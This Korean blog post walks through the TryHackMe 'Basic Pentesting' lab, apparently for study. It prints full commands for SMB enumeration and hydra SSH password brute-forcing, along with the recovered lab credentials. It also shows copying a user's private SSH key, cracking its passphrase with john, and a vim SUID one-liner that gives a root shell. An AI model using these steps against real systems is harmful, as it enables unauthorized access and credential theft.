본문 바로가기

보안지식/pentest

pentest 실습 (Basic Pentesting)

안녕하세요 이번에는 tryhackme에 있는 Basic Pentesting을 해보려고 합니다.

 

시작할게요

 

늘 그랬다시피 open vpn  하고 join room 하고 IP 얻겠습니다.

 

좋아요

 

1. 정보 수집, 서비스 분석

 

늘 그랬다시피 nmap을 사용해서 어느 포트 번호가 열려 있고 어느 서비스가 있는지 확인하겠습니다.

 

nmap -sV [IP번호] > scan_res

 

이렇게 하면 nmap의 결과가 scan_Res 파일에 저장하게 됩니다.

cat문으로 확인하시면 돼요.

 

 

보아하니.. 22번 포트 ssh이 있고요 80번 포트가 열려 있네요.

나머지는 잘 모르겠지만 Samba라는 서비스가 있고요.

 

일단 먼저 웹 사이트에 취약점이 많이 보이기에 먼저 저 사이트로 들어가 보겠습니다.

 

아하..

 

뭔가 공사 중인 거 같네요.. 아직 안 만든 건지도 모르겠고요.

 

그럼 gobuster을 이용해서 어느 디렉터리가 있는지 확인하면 되겠죠!

 

gobuster dir -u http://[IP주소]/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

 

development

 

한 번 development을 들어가 보겠습니다.

 

뭐지..?

 

일단 txt 파일이니깐 들어가서 봐볼게요

 

j.txt 먼저

 

편지네요

 

간단하게 해석을 하자면 K가 J에게 너 비밀번호가 쉬우니깐 빨리 바꿔 같네요.

 

여기서 저희는 J라는 사람의 계정 비밀번호가 쉬운 것을 유추할 수 있습니다.

 

이번에는 dev.txt로 들어가 볼게요

 

 

마차가지로 편지네요

 

음 뭔가 쓸만한 정보는 아파치 버전 2.5.12을 사용하겠다는 이야기이네요

 

 

이번엔 공유 폴더가 있나 확인해 보겠습니다. 정확힌 smb 파일이죠.

칼리 리눅스에 smb 파일을 찾아주는 명령어가 있습니다. smbclient입니다.

 

smbclient -L [IP주소]

 

비밀번호는 모르니 그냥 엔터 누르면 됩니다.

 

오호...중간에 컴퓨터 꺼져서 IP가 위에랑 다를 거에요

 

Anonymous라는 파일이 있네요

 

한번 들어가 볼게요. 들어갈 때도 마찬가지로 smbclient을 이용하면 됩니다.

 

smbclient //[IP주소]/[폴더 이름]

 

들어가졌네요

 

그럼 안에 뭐가 있는지 확인해 보겠습니다.

 

staff.txt?

 

뭘까요.. smbclient 안에 내장된 명령어인 get을 이용해 다운로드해 보겠습니다.

 

get [가져올 파일 이름]

 

 

exit이나 ctrl + c 눌러 smbclient을 나온 뒤 파일을 봐보겠습니다.

 

 

 

공유 폴더에 올리지 말아 달라는 이야기이네요.

그럼 이번에는 smbclient 명령어 쓰면 같이 딸려오는 enum4linux 명령어를 이용하겠습니다.

 

enum4linux는 smb 파일과 관련된 모든 정보를 찾아내고 출력해 줍니다.

 

enum4linux [IP주소]

 

조금 오래 기다리셔야 될 거예요

 

여기서

 

kay라는 계정 jan이라는 계정이 있는 것을 확인했습니다.

 

 

 

 

 

2. Exploit

 

이제 계정을 탈취해 보겠습니다.

 

제일 만만하게 보이는 Jan을 탈취할게요.

 

사이트에는 메시지만 있지 뭔가 특별한 취약점이 안 보였어요.

 

그럼 ssh의 취약점을 이용해 보겠습니다. ssh은 Telnet의 상위 버전으로 보다 안전하게 원격으로 파일을 실행하게 해 주고

사용자 이름 혹은 ID와 패스워드 입력해 접속도 가능합니다. 물론 이 ID와 패스워드는 암호화되어 있고요.

 

저희가 방금 찾은 jan 계정으로 쉬운 패스워드는 찾은 다음 들어가면 되겠죠?

 

이번에는 hydra라는 명령어를 이용하겠습니다.

hydra는 간단히 말해 비밀번호들을 일일이 넣어 보는 반복 명령어입니다.

 

 

https://www.youtube.com/watch?v=xAgiwjIfWwQ&t=321s 

 

참고는 여기서 하시면 돼요

 

hydra -l jan -P /usr/share/wordlists/rockyou.txt [ip주소] ssh -t 64 -V

 

 

찾는 과정

 

 

쭉 찾다 보니!

 

 

쉽게 찾아졌네요

 

 

이제 접속을 해보겠습니다.

 

[22][ssh] host: 10.10.234.106   login: jan   password: armando

 

이거는 따로 파일에 저장을 해두겠습니다.

 

ssh로 접속을 하는 방법은 간단합니다.

 

 

ssh jan@[ip주소]

 

 

연결을 하겠냐 질문 나오면 yes 답하시고 패스워드 작성까지 하시면 들어가집니다.

 

이왕 이렇게 된 거 kay라는 사람의 계정도 탈취해 보겠습니다.

 

cat /etc/passwd 작성하시면 어느 계정들이 있는지 확인 가능합니다.

 

 

보시면

 

UID 가 1000번 대 이상은 사용자가 만든 계정이고요 1000번 대 이하의 계정들은 컴퓨터만의 계정입니다.

그러니 저희는 1000번 대 이상만 보시면 되는데

 

밑에 보니 kay라는 계정이 있네요!

 

좋아요

 

그럼 kay의 홈 디렉터리로 가보겠습니다.

 

cd /home/kay

 

그리고 어느 파일이 있는지 ls -al까지 입력해 확인해 보겠습니다.

 

 

bash_history 통해 kay의 이용 목록을 볼 수 있겠네요

 

더군다나 ssh 디렉터리가 있네요. 보통 ssh 디렉터리에 ssh의 비밀번호나 키를 담아둡니다.

 

바로 들어가 보겠습니다.

 

좋아요

 

id_rsa는 ssh의 공개 키을 뜻하겠네요!

 

보통 ssh는 암호화 통해 통신을 하는데 보통 키를 이용해서 통신을 합니다.

그 키가 저기에 있는 거고요

 

길죠

 

그리고 ssh는 이 키 값만 알면 비밀번호 없이 들어갈 수도 있습니다.

 

어쨌든 이 파일을 다운로드하겠습니다.

 

터미널 닫지 마시고 새로운 터미널 여신 다음 scp 명령어로 ssh 통신에 cp라는 복사 명령을 쓰겠습니다.

 

scp jan@10.10.234.106:/home/kay/.ssh/id_rsa ~

 

형식은 scp [ssh계정]@[ip주소]:[파일다운할위치] [저장위치]

 

잘 받아 왔네요

 

그리고 kay 계정으로 들어갈 때 이 키을 같이 말하면 비밀번호 없이 들어가질 거예요.

왜냐하면 키만 있으면 들어가지게 되어 있는 게 ssh 이거든요

 

ssh kay@[ip주소] -i id_rsa

 

하시면 될 거예요

 

어..

 

왜 이렇게 패스워드를 입력하라고 나오면 경고문을 자세히 보니 Permissions 0644인 id_rsa는 too open

 

그러니깐 권한 0644는 너무 개방적이어서 못 들여보내게 하는 겁니다.

그러면 저 파일의 권한을 0600으로 바꾸면 되겠죠.

 

chmod 0600 id_rsa

 

그리고 다시 접속!

 

어...

이번에도 패스워드를 작성을 하라고 하나네요.

근데 조금 다른 패스워드입니다. passphrase을 입력하라는 거죠.

 

ssh 측에서도 알고 있습니다. 이 키만 알면 그 계정은 비밀번호 없이도 들어가 지는 것을요.

 

그래서 방지하기 위해 키를 암호화한 겁니다. 방금 전에 보신 엄청 긴 키값이 암호화된 ssh의 키값이에요.

 

그래서 키가 있으니깐 들여는 보내주는데 적어도 키의 진짜 값을 적어는 보라는 이야기입니다.

보안을 위한 거죠.

 

 

이때 저희는 전 포스팅에 이용한 복호화 해주는 존더리퍼 명령어를 사용하겠습니다. (LazrAdmin에 사용했었어요)

 

일단 존더리퍼 사용하려면 파일이 필요하죠. [ID]:[암호화 된 PW] 이렇게 작성된 파일이 필요합니다.

 

저 긴 키값을 적기엔 너무 힘든 것을 알고 존더리퍼에서 명령어를 만들었습니다.

 

ssh2john id_rsa > id_rsa.hash

 

이렇게 하면 알아서 자신이 쓸 수 있는 파일을 만들어 줍니다.

 

알아서 만들어 줬죠?

 

 

john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt

 

이러면 알아서 해줍니다.

 

 

beeswax 라는 값이 나오네요

 

그럼 다시 접속해 보겠습니다.

 

성공!

 

 

 

3. Post_Exploit

 

이제 본격적으로 root 권한을 탈취할게요.

제가 방금 말씀드린 대로. bash_history에 사용자가 뭘 했는지 볼 수 있다고 했잖아요?

 

한 번 봐보겠습니다.

 

.bash_history

 

어? 중간에

 

중간에 눈에 띄는 게 있네요

 

SetUid

 

SetUid 을 vim에 설정을 했네요!

 

그럼 저희는 좋은 사이트에 들어가서 setuid 설정된 vim으로 root 탈취하는 명령어를 찾아보겠습니다.

 

https://gtfobins.github.io/

 

GTFOBins

pg Shell File read SUID Sudo

gtfobins.github.io

 

여기 있네요

 

 

SUID 클릭한 후

 

이걸 따라 적으면 되겠죠.

저희는 ./vim 이 아니라 위에 히스토리에 보셨다시피 /usr/bin/vim 위치였죠?

 

그러니 

 

/usr/bin/vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

 

이렇게 적기만 하면 끝입니다.

 

실행!

 

성공

 

무슨 일이 벌어졌는지 몰라도 성공을 했습니다.

 

참고로 만약 저 명령어가 안 먹힌다면

 

/usr/bin/vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

 

이렇게 해보세요 위에 것은 최신 버전이고 이거는 예전 버전입니다.

 

________________________________________________________________________________________________

 

이렇게 해서 ssh을 이용해 계정 탈취도 해보고 setuid 설정된 것을 찾아서 root 권한을 탈취했습니다.

hydra 공격 툴로 비밀번호 알아낸 게 크죠!

 

그러니 여기서 대응방법은 간단합니다.

비밀번호를 어렵게 하자입니다.

 

그리고 서버 버전을 최신으로 바꾸는 겁니다.

 

감사합니다!

'보안지식 > pentest' 카테고리의 다른 글

Pentest 툴 정리  (1) 2023.08.28
pentest 실습 (GLITCH)  (0) 2023.06.26
pentest 실습 (Rootme)  (0) 2023.06.22
pentest 실습 (LazyAdmin) - Post Exploit  (0) 2023.06.21
pentest 실습 (LazyAdmin) - Exploit 까지  (0) 2023.06.20